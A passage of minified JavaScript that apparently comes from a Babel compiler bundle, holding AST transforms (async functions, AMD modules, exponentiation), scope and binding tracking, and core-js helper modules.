s(e,t){var r=e.node,n=e.isFunctionDeclaration(),i=r.id,s=h;e.isArrowFunctionExpression()?e.arrowFunctionToShadowed():!n&&i&&(s=m),r.async=!1,r.generator=!0,r.id=null,n&&(r.type="FunctionExpression");var a=f.callExpression(t,[r]),u=s({NAME:i,REF:e.scope.generateUidIdentifier("ref"),FUNCTION:a,PARAMS:r.params.reduce(function(t,r){return t.done=t.done||f.isAssignmentPattern(r)||f.isRestElement(r),t.done||t.params.push(e.scope.generateUidIdentifier("x")),t},{params:[],done:!1}).params}).expression;if(n){var l=f.variableDeclaration("let",[f.variableDeclarator(f.identifier(i.name),f.callExpression(u,[]))]);l._blockHoist=!0,e.replaceWith(l)}else{var c=u.body.body[1].argument;i||(0,o.default)({node:c,parent:e.parent,scope:e.scope}),!c||c.id||r.params.length?e.replaceWith(f.callExpression(u,[])):e.replaceWith(a)}}t.__esModule=!0,t.default=function(e,t,r){r||(r={wrapAsync:t},t=null),e.traverse(y,{file:t,wrapAwait:r.wrapAwait}),e.isClassMethod()||e.isObjectMethod()?i(e,r.wrapAsync):s(e,r.wrapAsync)};var a=r(40),o=n(a),u=r(4),l=n(u),c=r(1),f=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(c),p=r(320),d=n(p),h=(0,l.default)("\n  (() => {\n    var REF = FUNCTION;\n    return function NAME(PARAMS) {\n      return REF.apply(this, arguments);\n    };\n  })\n"),m=(0,l.default)("\n  (() => {\n    var REF = FUNCTION;\n    function NAME(PARAMS) {\n      return REF.apply(this, arguments);\n    }\n    return NAME;\n  })\n"),y={Function:function(e){if(e.isArrowFunctionExpression()&&!e.node.async)return void e.arrowFunctionToShadowed();e.skip()},AwaitExpression:function(e,t){var r=e.node,n=t.wrapAwait;r.type="YieldExpression",n&&(r.argument=f.callExpression(n,[r.argument]))},ForAwaitStatement:function(e,t){var r=t.file,n=t.wrapAwait,i=e.node,s=(0,d.default)(e,{getAsyncIterator:r.addHelper("asyncIterator"),wrapAwait:n}),a=s.declar,o=s.loop,u=o.body;e.ensureBlock(),a&&u.body.push(a),u.body=u.body.concat(i.body.body),f.inherits(o,i),f.inherits(o.body,i.body),s.replaceParent?(e.parentPath.replaceWithMultiple(s.node),e.remove()):e.replaceWithMultiple(s.node)}};e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("decorators")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("flow")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("jsx")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("trailingFunctionCommas")}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{inherits:r(67),visitor:{Function:function(e,t){e.node.async&&!e.node.generator&&(0,i.default)(e,t.file,{wrapAsync:t.addHelper("asyncToGenerator")})}}}};var n=r(124),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return c.isIdentifier(e)?e.name:e.value.toString()}t.__esModule=!0;var s=r(2),a=n(s),o=r(9),u=n(o);t.default=function(){return{visitor:{ObjectExpression:function(e){for(var t=e.node,r=t.properties.filter(function(e){return!c.isSpreadProperty(e)&&!e.computed}),n=(0,u.default)(null),s=(0,u.default)(null),o=(0,u.default)(null),l=r,f=Array.isArray(l),p=0,l=f?l:(0,a.default)(l);;){var d;if(f){if(p>=l.length)break;d=l[p++]}else{if(p=l.next(),p.done)break;d=p.value}var h=d,m=i(h.key),y=!1;switch(h.kind){case"get":(n[m]||s[m])&&(y=!0),s[m]=!0;break;case"set":(n[m]||o[m])&&(y=!0),o[m]=!0;break;default:(n[m]||s[m]||o[m])&&(y=!0),n[m]=!0}y&&(h.computed=!0,h.key=c.stringLiteral(m))}}}}};var l=r(1),c=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(l);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(9),s=n(i);t.default=function(e){function t(e){if(!e.isCallExpression())return!1;if(!e.get("callee").isIdentifier({name:"require"}))return!1;if(e.scope.getBinding("require"))return!1;var t=e.get("arguments");return 1===t.length&&!!t[0].isStringLiteral()}var n=e.types,i={ReferencedIdentifier:function(e){var t=e.node,r=e.scope;"exports"!==t.name||r.getBinding("exports")||(this.hasExports=!0),"module"!==t.name||r.getBinding("module")||(this.hasModule=!0)},CallExpression:function(e){t(e)&&(this.bareSources.push(e.node.arguments[0]),e.remove())},VariableDeclarator:function(e){var r=e.get("id");if(r.isIdentifier()){var n=e.get("init");if(t(n)){var i=n.node.arguments[0];this.sourceNames[i.value]=!0,this.sources.push([r.node,i]),e.remove()}}}};return{inherits:r(77),pre:function(){this.sources=[],this.sourceNames=(0,s.default)(null),this.bareSources=[],this.hasExports=!1,this.hasModule=!1},visitor:{Program:{exit:function(e){var t=this;if(!this.ran){this.ran=!0,e.traverse(i,this);var r=this.sources.map(function(e){return e[0]}),s=this.sources.map(function(e){return e[1]});s=s.concat(this.bareSources.filter(function(e){return!t.sourceNames[e.value]}));var a=this.getModuleName();a&&(a=n.stringLiteral(a)),this.hasExports&&(s.unshift(n.stringLiteral("exports")),r.unshift(n.identifier("exports"))),this.hasModule&&(s.unshift(n.stringLiteral("module")),r.unshift(n.identifier("module")));var o=e.node,c=l({PARAMS:r,BODY:o.body});c.expression.body.directives=o.directives,o.directives=[],o.body=[u({MODULE_NAME:a,SOURCES:s,FACTORY:c})]}}}}}};var a=r(4),o=n(a),u=(0,o.default)("\n  define(MODULE_NAME, [SOURCES], FACTORY);\n"),l=(0,o.default)("\n  (function (PARAMS) {\n    BODY;\n  })\n");e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{inherits:r(199),visitor:(0,i.default)({operator:"**",build:function(e,r){return t.callExpression(t.memberExpression(t.identifier("Math"),t.identifier("pow")),[e,r])}})}};var n=r(316),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";e.exports={default:r(406),__esModule:!0}},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e,t,r){for(var n=I.scope.get(e.node)||[],i=n,s=Array.isArray(i),a=0,i=s?i:(0,y.default)(i);;){var o;if(s){if(a>=i.length)break;o=i[a++]}else{if(a=i.next(),a.done)break;o=a.value}var u=o;if(u.parent===t&&u.path===e)return u}n.push(r),I.scope.has(e.node)||I.scope.set(e.node,n)}function a(e,t){if(R.isModuleDeclaration(e))if(e.source)a(e.source,t);else if(e.specifiers&&e.specifiers.length)for(var r=e.specifiers,n=Array.isArray(r),i=0,r=n?r:(0,y.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var o=s;a(o,t)}else e.declaration&&a(e.declaration,t);else if(R.isModuleSpecifier(e))a(e.local,t);else if(R.isMemberExpression(e))a(e.object,t),a(e.property,t);else if(R.isIdentifier(e))t.push(e.name);else if(R.isLiteral(e))t.push(e.value);else if(R.isCallExpression(e))a(e.callee,t);else if(R.isObjectExpression(e)||R.isObjectPattern(e))for(var u=e.properties,l=Array.isArray(u),c=0,u=l?u:(0,y.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;a(p.key||p.argument,t)}}t.__esModule=!0;var o=r(14),u=i(o),l=r(9),c=i(l),f=r(133),p=i(f),d=r(3),h=i(d),m=r(2),y=i(m),v=r(111),g=i(v),b=r(278),E=i(b),x=r(383),A=i(x),S=r(7),_=i(S),D=r(273),C=i(D),w=r(20),P=n(w),k=r(225),F=i(k),T=r(463),O=i(T),B=r(1),R=n(B),I=r(88),M=0,N={For:function(e){for(var t=R.FOR_INIT_KEYS,r=Array.isArray(t),n=0,t=r?t:(0,y.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i,a=e.get(s);a.isVar()&&e.scope.getFunctionParent().registerBinding("var",a)}},Declaration:function(e){e.isBlockScoped()||e.isExportDeclaration()&&e.get("declaration").isDeclaration()||e.scope.getFunctionParent().registerDeclaration(e)},ReferencedIdentifier:function(e,t){t.references.push(e)},ForXStatement:function(e,t){var r=e.get("left");(r.isPattern()||r.isIdentifier())&&t.constantViolations.push(r)},ExportDeclaration:{exit:function(e){var t=e.node,r=e.scope,n=t.declaration;if(R.isClassDeclaration(n)||R.isFunctionDeclaration(n)){var i=n.id;if(!i)return;var s=r.getBinding(i.name);s&&s.reference(e)}else if(R.isVariableDeclaration(n))for(var a=n.declarations,o=Array.isArray(a),u=0,a=o?a:(0,y.default)(a);;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l,f=R.getBindingIdentifiers(c);for(var p in f){var d=r.getBinding(p);d&&d.reference(e)}}}},LabeledStatement:function(e){e.scope.getProgramParent().addGlobal(e.node),e.scope.getBlockParent().registerDeclaration(e)},AssignmentExpression:function(e,t){t.assignments.push(e)},UpdateExpression:function(e,t){t.constantViolations.push(e.get("argument"))},UnaryExpression:function(e,t){"delete"===e.node.operator&&t.constantViolations.push(e.get("argument"))},BlockScoped:function(e){var t=e.scope;t.path===e&&(t=t.parent),t.getBlockParent().registerDeclaration(e)},ClassDeclaration:function(e){var t=e.node.id;if(t){var r=t.name;e.scope.bindings[r]=e.scope.getBinding(r)}},Block:function(e){for(var t=e.get("body"),r=t,n=Array.isArray(r),i=0,r=n?r:(0,y.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;a.isFunctionDeclaration()&&e.scope.getBlockParent().registerDeclaration(a)}}},L=0,j=function(){function e(t,r){if((0,h.default)(this,e),r&&r.block===t.node)return r;var n=s(t,r,this);if(n)return n;this.uid=L++,this.parent=r,this.hub=t.hub,this.parentBlock=t.parent,this.block=t.node,this.path=t,this.labels=new p.default}return e.prototype.traverse=function(e,t,r){(0,_.default)(e,t,this,r,this.path)},e.prototype.generateDeclaredUidIdentifier=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"temp",t=this.generateUidIdentifier(e);return this.push({id:t}),t},e.prototype.generateUidIdentifier=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"temp";return R.identifier(this.generateUid(e))},e.prototype.generateUid=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"temp";e=R.toIdentifier(e).replace(/^_+/,"").replace(/[0-9]+$/g,"");var t=void 0,r=0;do{t=this._generateUid(e,r),r++}while(this.hasLabel(t)||this.hasBinding(t)||this.hasGlobal(t)||this.hasReference(t));var n=this.getProgramParent();return n.references[t]=!0,n.uids[t]=!0,t},e.prototype._generateUid=function(e,t){var r=e;return t>1&&(r+=t),"_"+r},e.prototype.generateUidIdentifierBasedOnNode=function(e,t){var r=e;R.isAssignmentExpression(e)?r=e.left:R.isVariableDeclarator(e)?r=e.id:(R.isObjectProperty(r)||R.isObjectMethod(r))&&(r=r.key);var n=[];a(r,n);var i=n.join("$");return i=i.replace(/^_/,"")||t||"ref",this.generateUidIdentifier(i.slice(0,20))},e.prototype.isStatic=function(e){if(R.isThisExpression(e)||R.isSuper(e))return!0;if(R.isIdentifier(e)){var t=this.getBinding(e.name);return t?t.constant:this.hasBinding(e.name)}return!1},e.prototype.maybeGenerateMemoised=function(e,t){if(this.isStatic(e))return null;var r=this.generateUidIdentifierBasedOnNode(e);return t||this.push({id:r}),r},e.prototype.checkBlockScopedCollisions=function(e,t,r,n){if("param"!==t&&("hoisted"!==t||"let"!==e.kind)){if("let"===t||"let"===e.kind||"const"===e.kind||"module"===e.kind||"param"===e.kind&&("let"===t||"const"===t))throw this.hub.file.buildCodeFrameError(n,P.get("scopeDuplicateDeclaration",r),TypeError)}},e.prototype.rename=function(e,t,r){var n=this.getBinding(e);if(n)return t=t||this.generateUidIdentifier(e).name,new A.default(n,e,t).rename(r)},e.prototype._renameFromMap=function(e,t,r,n){e[t]&&(e[r]=n,e[t]=null)},e.prototype.dump=function(){var e=(0,E.default)("-",60);console.log(e);var t=this;do{console.log("#",t.block.type);for(var r in t.bindings){var n=t.bindings[r];console.log(" -",r,{constant:n.constant,references:n.references,violations:n.constantViolations.length,kind:n.kind})}}while(t=t.parent);console.log(e)},e.prototype.toArray=function(e,t){var r=this.hub.file;if(R.isIdentifier(e)){var n=this.getBinding(e.name);if(n&&n.constant&&n.path.isGenericType("Array"))return e}if(R.isArrayExpression(e))return e;if(R.isIdentifier(e,{name:"arguments"}))return R.callExpression(R.memberExpression(R.memberExpression(R.memberExpression(R.identifier("Array"),R.identifier("prototype")),R.identifier("slice")),R.identifier("call")),[e]);var i="toArray",s=[e];return!0===t?i="toConsumableArray":t&&(s.push(R.numericLiteral(t)),i="slicedToArray"),R.callExpression(r.addHelper(i),s)},e.prototype.hasLabel=function(e){return!!this.getLabel(e)},e.prototype.getLabel=function(e){return this.labels.get(e)},e.prototype.registerLabel=function(e){this.labels.set(e.node.label.name,e)},e.prototype.registerDeclaration=function(e){if(e.isLabeledStatement())this.registerLabel(e);else if(e.isFunctionDeclaration())this.registerBinding("hoisted",e.get("id"),e);else if(e.isVariableDeclaration())for(var t=e.get("declarations"),r=t,n=Array.isArray(r),i=0,r=n?r:(0,y.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;this.registerBinding(e.node.kind,a)}else if(e.isClassDeclaration())this.registerBinding("let",e);else if(e.isImportDeclaration())for(var o=e.get("specifiers"),u=o,l=Array.isArray(u),c=0,u=l?u:(0,y.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;this.registerBinding("module",p)}else if(e.isExportDeclaration()){var d=e.get("declaration");(d.isClassDeclaration()||d.isFunctionDeclaration()||d.isVariableDeclaration())&&this.registerDeclaration(d)}else this.registerBinding("unknown",e)},e.prototype.buildUndefinedNode=function(){return this.hasBinding("undefined")?R.unaryExpression("void",R.numericLiteral(0),!0):R.identifier("undefined")},e.prototype.registerConstantViolation=function(e){var t=e.getBindingIdentifiers();for(var r in t){var n=this.getBinding(r);n&&n.reassign(e)}},e.prototype.registerBinding=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t;if(!e)throw new ReferenceError("no `kind`");if(t.isVariableDeclaration())for(var n=t.get("declarations"),i=n,s=Array.isArray(i),a=0,i=s?i:(0,y.default)(i);;){var o;if(s){if(a>=i.length)break;o=i[a++]}else{if(a=i.next(),a.done)break;o=a.value}var u=o;this.registerBinding(e,u)}else{var l=this.getProgramParent(),c=t.getBindingIdentifiers(!0);for(var f in c)for(var p=c[f],d=Array.isArray(p),h=0,p=d?p:(0,y.default)(p);;){var m;if(d){if(h>=p.length)break;m=p[h++]}else{if(h=p.next(),h.done)break;m=h.value}var v=m,g=this.getOwnBinding(f);if(g){if(g.identifier===v)continue;this.checkBlockScopedCollisions(g,e,f,v)}g&&g.path.isFlow()&&(g=null),l.references[f]=!0,this.bindings[f]=new F.default({identifier:v,existing:g,scope:this,path:r,kind:e})}}},e.prototype.addGlobal=function(e){this.globals[e.name]=e},e.prototype.hasUid=function(e){var t=this;do{if(t.uids[e])return!0}while(t=t.parent);return!1},e.prototype.hasGlobal=function(e){var t=this;do{if(t.globals[e])return!0}while(t=t.parent);return!1},e.prototype.hasReference=function(e){var t=this;do{if(t.references[e])return!0}while(t=t.parent);return!1},e.prototype.isPure=function(e,t){if(R.isIdentifier(e)){var r=this.getBinding(e.name);return!!r&&(!t||r.constant)}if(R.isClass(e))return!(e.superClass&&!this.isPure(e.superClass,t))&&this.isPure(e.body,t);if(R.isClassBody(e)){for(var n=e.body,i=Array.isArray(n),s=0,n=i?n:(0,y.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;if(!this.isPure(o,t))return!1}return!0}if(R.isBinary(e))return this.isPure(e.left,t)&&this.isPure(e.right,t);if(R.isArrayExpression(e)){for(var u=e.elements,l=Array.isArray(u),c=0,u=l?u:(0,y.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;if(!this.isPure(p,t))return!1}return!0}if(R.isObjectExpression(e)){for(var d=e.properties,h=Array.isArray(d),m=0,d=h?d:(0,y.default)(d);;){var v;if(h){if(m>=d.length)break;v=d[m++]}else{if(m=d.next(),m.done)break;v=m.value}var g=v;if(!this.isPure(g,t))return!1}return!0}return R.isClassMethod(e)?!(e.computed&&!this.isPure(e.key,t))&&("get"!==e.kind&&"set"!==e.kind):R.isClassProperty(e)||R.isObjectProperty(e)?!(e.computed&&!this.isPure(e.key,t))&&this.isPure(e.value,t):R.isUnaryExpression(e)?this.isPure(e.argument,t):R.isPureish(e)},e.prototype.setData=function(e,t){return this.data[e]=t},e.prototype.getData=function(e){var t=this;do{var r=t.data[e];if(null!=r)return r}while(t=t.parent)},e.prototype.removeData=function(e){var t=this;do{null!=t.data[e]&&(t.data[e]=null)}while(t=t.parent)},e.prototype.init=function(){this.references||this.crawl()},e.prototype.crawl=function(){M++,this._crawl(),M--},e.prototype._crawl=function(){var e=this.path;if(this.references=(0,c.default)(null),this.bindings=(0,c.default)(null),this.globals=(0,c.default)(null),this.uids=(0,c.default)(null),this.data=(0,c.default)(null),e.isLoop())for(var t=R.FOR_INIT_KEYS,r=Array.isArray(t),n=0,t=r?t:(0,y.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i,a=e.get(s);a.isBlockScoped()&&this.registerBinding(a.node.kind,a)}if(e.isFunctionExpression()&&e.has("id")&&(e.get("id").node[R.NOT_LOCAL_BINDING]||this.registerBinding("local",e.get("id"),e)),e.isClassExpression()&&e.has("id")&&(e.get("id").node[R.NOT_LOCAL_BINDING]||this.registerBinding("local",e)),e.isFunction())for(var o=e.get("params"),u=o,l=Array.isArray(u),f=0,u=l?u:(0,y.default)(u);;){var p;if(l){if(f>=u.length)break;p=u[f++]}else{if(f=u.next(),f.done)break;p=f.value}var d=p;this.registerBinding("param",d)}if(e.isCatchClause()&&this.registerBinding("let",e),!this.getProgramParent().crawling){var h={references:[],constantViolations:[],assignments:[]};this.crawling=!0,e.traverse(N,h),this.crawling=!1;for(var m=h.assignments,v=Array.isArray(m),g=0,m=v?m:(0,y.default)(m);;){var b;if(v){if(g>=m.length)break;b=m[g++]}else{if(g=m.next(),g.done)break;b=g.value}var E=b,x=E.getBindingIdentifiers(),A=void 0;for(var S in x)E.scope.getBinding(S)||(A=A||E.scope.getProgramParent(),A.addGlobal(x[S]));E.scope.registerConstantViolation(E)}for(var _=h.references,D=Array.isArray(_),C=0,_=D?_:(0,y.default)(_);;){var w;if(D){if(C>=_.length)break;w=_[C++]}else{if(C=_.next(),C.done)break;w=C.value}var P=w,k=P.scope.getBinding(P.node.name);k?k.reference(P):P.scope.getProgramParent().addGlobal(P.node)}for(var F=h.constantViolations,T=Array.isArray(F),O=0,F=T?F:(0,y.default)(F);;){var B;if(T){if(O>=F.length)break;B=F[O++]}else{if(O=F.next(),O.done)break;B=O.value}var I=B;I.scope.registerConstantViolation(I)}}},e.prototype.push=function(e){var t=this.path;t.isBlockStatement()||t.isProgram()||(t=this.getBlockParent().path),t.isSwitchStatement()&&(t=this.getFunctionParent().path),(t.isLoop()||t.isCatchClause()||t.isFunction())&&(R.ensureBlock(t.node),t=t.get("body"));var r=e.unique,n=e.kind||"var",i=null==e._blockHoist?2:e._blockHoist,s="declaration:"+n+":"+i,a=!r&&t.getData(s);if(!a){var o=R.variableDeclaration(n,[]);o._generated=!0,o._blockHoist=i;a=t.unshiftContainer("body",[o])[0],r||t.setData(s,a)}var u=R.variableDeclarator(e.id,e.init);a.node.declarations.push(u),this.registerBinding(n,a.get("declarations").pop())},e.prototype.getProgramParent=function(){var e=this;do{if(e.path.isProgram())return e}while(e=e.parent);throw new Error("We couldn't find a Function or Program...")},e.prototype.getFunctionParent=function(){var e=this;do{if(e.path.isFunctionParent())return e}while(e=e.parent);throw new Error("We couldn't find a Function or Program...")},e.prototype.getBlockParent=function(){var e=this;do{if(e.path.isBlockParent())return e}while(e=e.parent);throw new Error("We couldn't find a BlockStatement, For, Switch, Function, Loop or Program...")},e.prototype.getAllBindings=function(){var e=(0,c.default)(null),t=this;do{(0,C.default)(e,t.bindings),t=t.parent}while(t);return e},e.prototype.getAllBindingsOfKind=function(){for(var e=(0,c.default)(null),t=arguments,r=Array.isArray(t),n=0,t=r?t:(0,y.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i,a=this;do{for(var o in a.bindings){var u=a.bindings[o];u.kind===s&&(e[o]=u)}a=a.parent}while(a)}return e},e.prototype.bindingIdentifierEquals=function(e,t){
return this.getBindingIdentifier(e)===t},e.prototype.warnOnFlowBinding=function(e){return 0===M&&e&&e.path.isFlow()&&console.warn("\n        You or one of the Babel plugins you are using are using Flow declarations as bindings.\n        Support for this will be removed in version 7. To find out the caller, grep for this\n        message and change it to a `console.trace()`.\n      "),e},e.prototype.getBinding=function(e){var t=this;do{var r=t.getOwnBinding(e);if(r)return this.warnOnFlowBinding(r)}while(t=t.parent)},e.prototype.getOwnBinding=function(e){return this.warnOnFlowBinding(this.bindings[e])},e.prototype.getBindingIdentifier=function(e){var t=this.getBinding(e);return t&&t.identifier},e.prototype.getOwnBindingIdentifier=function(e){var t=this.bindings[e];return t&&t.identifier},e.prototype.hasOwnBinding=function(e){return!!this.getOwnBinding(e)},e.prototype.hasBinding=function(t,r){return!!t&&(!!this.hasOwnBinding(t)||(!!this.parentHasBinding(t,r)||(!!this.hasUid(t)||(!(r||!(0,g.default)(e.globals,t))||!(r||!(0,g.default)(e.contextVariables,t))))))},e.prototype.parentHasBinding=function(e,t){return this.parent&&this.parent.hasBinding(e,t)},e.prototype.moveBindingTo=function(e,t){var r=this.getBinding(e);r&&(r.scope.removeOwnBinding(e),r.scope=t,t.bindings[e]=r)},e.prototype.removeOwnBinding=function(e){delete this.bindings[e]},e.prototype.removeBinding=function(e){var t=this.getBinding(e);t&&t.scope.removeOwnBinding(e);var r=this;do{r.uids[e]&&(r.uids[e]=!1)}while(r=r.parent)},e}();j.globals=(0,u.default)(O.default.builtin),j.contextVariables=["arguments","undefined","Infinity","NaN"],t.default=j,e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.NOT_LOCAL_BINDING=t.BLOCK_SCOPED_SYMBOL=t.INHERIT_KEYS=t.UNARY_OPERATORS=t.STRING_UNARY_OPERATORS=t.NUMBER_UNARY_OPERATORS=t.BOOLEAN_UNARY_OPERATORS=t.BINARY_OPERATORS=t.NUMBER_BINARY_OPERATORS=t.BOOLEAN_BINARY_OPERATORS=t.COMPARISON_BINARY_OPERATORS=t.EQUALITY_BINARY_OPERATORS=t.BOOLEAN_NUMBER_BINARY_OPERATORS=t.UPDATE_OPERATORS=t.LOGICAL_OPERATORS=t.COMMENT_KEYS=t.FOR_INIT_KEYS=t.FLATTENABLE_KEYS=t.STATEMENT_OR_BLOCK_KEYS=void 0;var n=r(362),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=(t.STATEMENT_OR_BLOCK_KEYS=["consequent","body","alternate"],t.FLATTENABLE_KEYS=["body","expressions"],t.FOR_INIT_KEYS=["left","init"],t.COMMENT_KEYS=["leadingComments","trailingComments","innerComments"],t.LOGICAL_OPERATORS=["||","&&"],t.UPDATE_OPERATORS=["++","--"],t.BOOLEAN_NUMBER_BINARY_OPERATORS=[">","<",">=","<="]),a=t.EQUALITY_BINARY_OPERATORS=["==","===","!=","!=="],o=t.COMPARISON_BINARY_OPERATORS=[].concat(a,["in","instanceof"]),u=t.BOOLEAN_BINARY_OPERATORS=[].concat(o,s),l=t.NUMBER_BINARY_OPERATORS=["-","/","%","*","**","&","|",">>",">>>","<<","^"],c=(t.BINARY_OPERATORS=["+"].concat(l,u),t.BOOLEAN_UNARY_OPERATORS=["delete","!"]),f=t.NUMBER_UNARY_OPERATORS=["+","-","++","--","~"],p=t.STRING_UNARY_OPERATORS=["typeof"];t.UNARY_OPERATORS=["void"].concat(c,f,p),t.INHERIT_KEYS={optional:["typeAnnotation","typeParameters","returnType"],force:["start","loc","end"]},t.BLOCK_SCOPED_SYMBOL=(0,i.default)("var used to be block scoped"),t.NOT_LOCAL_BINDING=(0,i.default)("should not be considered a local binding")},function(e,t){"use strict";e.exports=function(e,t,r,n){if(!(e instanceof t)||void 0!==n&&n in e)throw TypeError(r+": incorrect invocation!");return e}},function(e,t,r){"use strict";var n=r(43),i=r(142),s=r(94),a=r(153),o=r(422);e.exports=function(e,t){var r=1==e,u=2==e,l=3==e,c=4==e,f=6==e,p=5==e||f,d=t||o;return function(t,o,h){for(var m,y,v=s(t),g=i(v),b=n(o,h,3),E=a(g.length),x=0,A=r?d(t,E):u?d(t,0):void 0;E>x;x++)if((p||x in g)&&(m=g[x],y=b(m,x,v),e))if(r)A[x]=y;else if(y)switch(e){case 3:return!0;case 5:return m;case 6:return x;case 2:A.push(m)}else if(c)return!1;return f?-1:l||c?c:A}}},function(e,t){"use strict";var r={}.toString;e.exports=function(e){return r.call(e).slice(8,-1)}},function(e,t,r){"use strict";var n=r(15),i=r(12),s=r(57),a=r(27),o=r(29),u=r(146),l=r(55),c=r(136),f=r(16),p=r(93),d=r(23).f,h=r(137)(0),m=r(22);e.exports=function(e,t,r,y,v,g){var b=n[e],E=b,x=v?"set":"add",A=E&&E.prototype,S={};return m&&"function"==typeof E&&(g||A.forEach&&!a(function(){(new E).entries().next()}))?(E=t(function(t,r){c(t,E,e,"_c"),t._c=new b,void 0!=r&&l(r,v,t[x],t)}),h("add,clear,delete,forEach,get,has,set,keys,values,entries,toJSON".split(","),function(e){var t="add"==e||"set"==e;e in A&&(!g||"clear"!=e)&&o(E.prototype,e,function(r,n){if(c(this,E,e),!t&&g&&!f(r))return"get"==e&&void 0;var i=this._c[e](0===r?0:r,n);return t?this:i})}),g||d(E.prototype,"size",{get:function(){return this._c.size}})):(E=y.getConstructor(t,e,v,x),u(E.prototype,r),s.NEED=!0),p(E,e),S[e]=E,i(i.G+i.W+i.F,S),g||y.setStrong(E,e,v),E}},function(e,t){"use strict";e.exports=function(e){if(void 0==e)throw TypeError("Can't call method on  "+e);return e}},function(e,t){"use strict";e.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(e,t,r){"use strict";var n=r(138);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==n(e)?e.split(""):Object(e)}},function(e,t,r){"use strict";var n=r(144),i=r(12),s=r(147),a=r(29),o=r(28),u=r(56),l=r(429),c=r(93),f=r(433),p=r(13)("iterator"),d=!([].keys&&"next"in[].keys()),h=function(){return this};e.exports=function(e,t,r,m,y,v,g){l(r,t,m);var b,E,x,A=function(e){if(!d&&e in C)return C[e];switch(e){case"keys":case"values":return function(){return new r(this,e)}}return function(){return new r(this,e)}},S=t+" Iterator",_="values"==y,D=!1,C=e.prototype,w=C[p]||C["@@iterator"]||y&&C[y],P=w||A(y),k=y?_?A("entries"):P:void 0,F="Array"==t?C.entries||w:w;if(F&&(x=f(F.call(new e)))!==Object.prototype&&x.next&&(c(x,S,!0),n||o(x,p)||a(x,p,h)),_&&w&&"values"!==w.name&&(D=!0,P=function(){return w.call(this)}),n&&!g||!d&&!D&&C[p]||a(C,p,P),u[t]=P,u[S]=h,y)if(b={values:_?P:A("values"),keys:v?P:A("keys"),entries:k},g)for(E in b)E in C||s(C,E,b[E]);else i(i.P+i.F*(d||D),t,b);return b}},function(e,t){"use strict";e.exports=!0},function(e,t){"use strict";t.f=Object.getOwnPropertySymbols},function(e,t,r){"use strict";var n=r(29);e.exports=function(e,t,r){for(var i in t)r&&e[i]?e[i]=t[i]:n(e,i,t[i]);return e}},function(e,t,r){"use strict";e.exports=r(29)},function(e,t,r){"use strict";var n=r(12),i=r(227),s=r(43),a=r(55);e.exports=function(e){n(n.S,e,{from:function(e){var t,r,n,o,u=arguments[1];return i(this),t=void 0!==u,t&&i(u),void 0==e?new this:(r=[],t?(n=0,o=s(u,arguments[2],2),a(e,!1,function(e){r.push(o(e,n++))})):a(e,!1,r.push,r),new this(r))}})}},function(e,t,r){"use strict";var n=r(12);e.exports=function(e){n(n.S,e,{of:function(){for(var e=arguments.length,t=Array(e);e--;)t[e]=arguments[e];return new this(t)}})}},function(e,t,r){"use strict";var n=r(151)("keys"),i=r(95);e.exports=function(e){return n[e]||(n[e]=i(e))}},function(e,t,r){"use strict";var n=r(15),i=n["__core-js_shared__"]||(n["__core-js_shared__"]={});e.exports=function(e){return i[e]||(i[e]={})}},function(e,t){"use strict";var r=Math.ceil,n=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?n:r)(e)}},function(e,t,r){"use 